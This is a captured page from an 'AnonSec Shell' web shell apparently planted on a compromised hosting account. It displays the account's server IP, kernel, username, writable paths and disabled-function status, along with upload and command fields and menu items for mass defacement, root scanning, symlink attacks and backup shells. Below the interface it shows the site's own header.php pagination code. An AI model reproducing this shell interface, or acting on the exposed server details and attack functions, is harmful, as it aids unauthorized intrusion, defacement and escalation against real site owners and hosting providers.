AnonSec Shell
Server IP : 172.67.216.113  /  Your IP : 172.71.28.145   [ Reverse IP ]
Web Server : Apache
System : Linux cpanel01wh.bkk1.cloud.z.com 2.6.32-954.3.5.lve1.4.59.el6.x86_64 #1 SMP Thu Dec 6 05:11:00 EST 2018 x86_64
User : cp648411 ( 1354)
PHP Version : 7.2.34
Disable Function : NONE
Domains : 0 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home2/cp648411/public_html/beerecord.com/fabulous/myBackend/include/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /home2/cp648411/public_html/beerecord.com/fabulous/myBackend/include/header.php
<header class="navbar navbar-dark sticky-top bg-dark flex-md-nowrap p-0 shadow">
  <a class="navbar-brand col-md-3 col-lg-2 me-0 px-3" href="#">เหลือเชื่อ</a>
  <button class="navbar-toggler position-absolute d-md-none collapsed" type="button" data-bs-toggle="collapse" data-bs-target="#sidebarMenu" aria-controls="sidebarMenu" aria-expanded="false" aria-label="Toggle navigation">
    <span class="navbar-toggler-icon"></span>
  </button>
  <!--<input class="form-control form-control-dark w-100" type="text" placeholder="Search" aria-label="Search">-->
  <div  class="form-control form-control-dark w-100">

    <div class="navbar-nav">
      <div class="nav-item text-nowrap">
        <a class="nav-link px-3" href="../logout.php">Sign out</a>
      </div>
    </div>
  </div>
</header>
<?php
function page_news2($page_number,$total_pages,$url,$get)
{
?>
<div class="btn-toolbar mb-3" role="toolbar" aria-label="Toolbar with button groups">
  <div class="btn-group ms-auto" role="group" aria-label="First group">
    <button type="button" class="btn btn-outline-secondary <?php  if($page_number == 0){?>active<?php }?>"
      onclick="location.href='?page_number=0<?php echo $get; ?>'">1</button>
      <?php
		if($total_pages >= 7)
		{
			$n = $page_number-1;
			if($n < 0){$n = 0;}
			?>
      <button type="button" class="btn btn-outline-secondary"
      onclick="location.href='?page_number=<?php echo $n ?><?php echo $get; ?>'"> << </button>
  <?php
  }
  if($total_pages >= 7)
  {
    $p_end = $total_pages - 3;
    if($page_number > 3 && $page_number >=  $p_end)
    {
      $lop_p = $total_pages-1;
      $start_p = $p_end-1;
    }else{
      if($page_number == 0){
        $start_p = 1;
        $lop_p = 4;
      }
      else{
        $start_p = $page_number;
        $lop_p = $page_number+3;
      }
    }
  }else{ $lop_p = $total_pages - 1; $start_p = 1;}
  for($a=$start_p;$a<=$lop_p;++$a)
  {
    $b = $a + 1 ;
    if($a==$page_number)
    {
      ?>
      <button type="button" class="btn btn-outline-secondary"
      onclick="location.href='?page_number=<?php echo $a?><?php echo $get; ?>'"><?php echo $b; ?></button>

<?php
    }
    else
    {
      ?>
      <button type="button" class="btn btn-outline-secondary"
      onclick="location.href='?page_number=<?php echo $a?><?php echo $get; ?>'"><?php echo $b; ?></button>
<?php
    }
  }
  if($total_pages >= 7)
  {
    $p = $page_number+1;
    if($p >= $total_pages){$p = $total_pages;}
    ?>
    <button type="button" class="btn btn-outline-secondary"
    onclick="location.href='?page_number=<?php echo $p ?><?php echo $get; ?>'"> >> </button>
<?php
  }
  if($total_pages > 0)
  {
    ?>
    <button type="button" class="btn btn-outline-secondary <?php  if($page_number == $total_pages){?>active<?php }?>"
      onclick="location.href='?page_number=<?php echo $total_pages ?><?php echo $get; ?>'"><?php echo  $total_pages+1 ?></button>

    <?php
  }
  ?>

  </div>
</div>
<?php
}
?>

Anon7 - 2022
AnonSec Team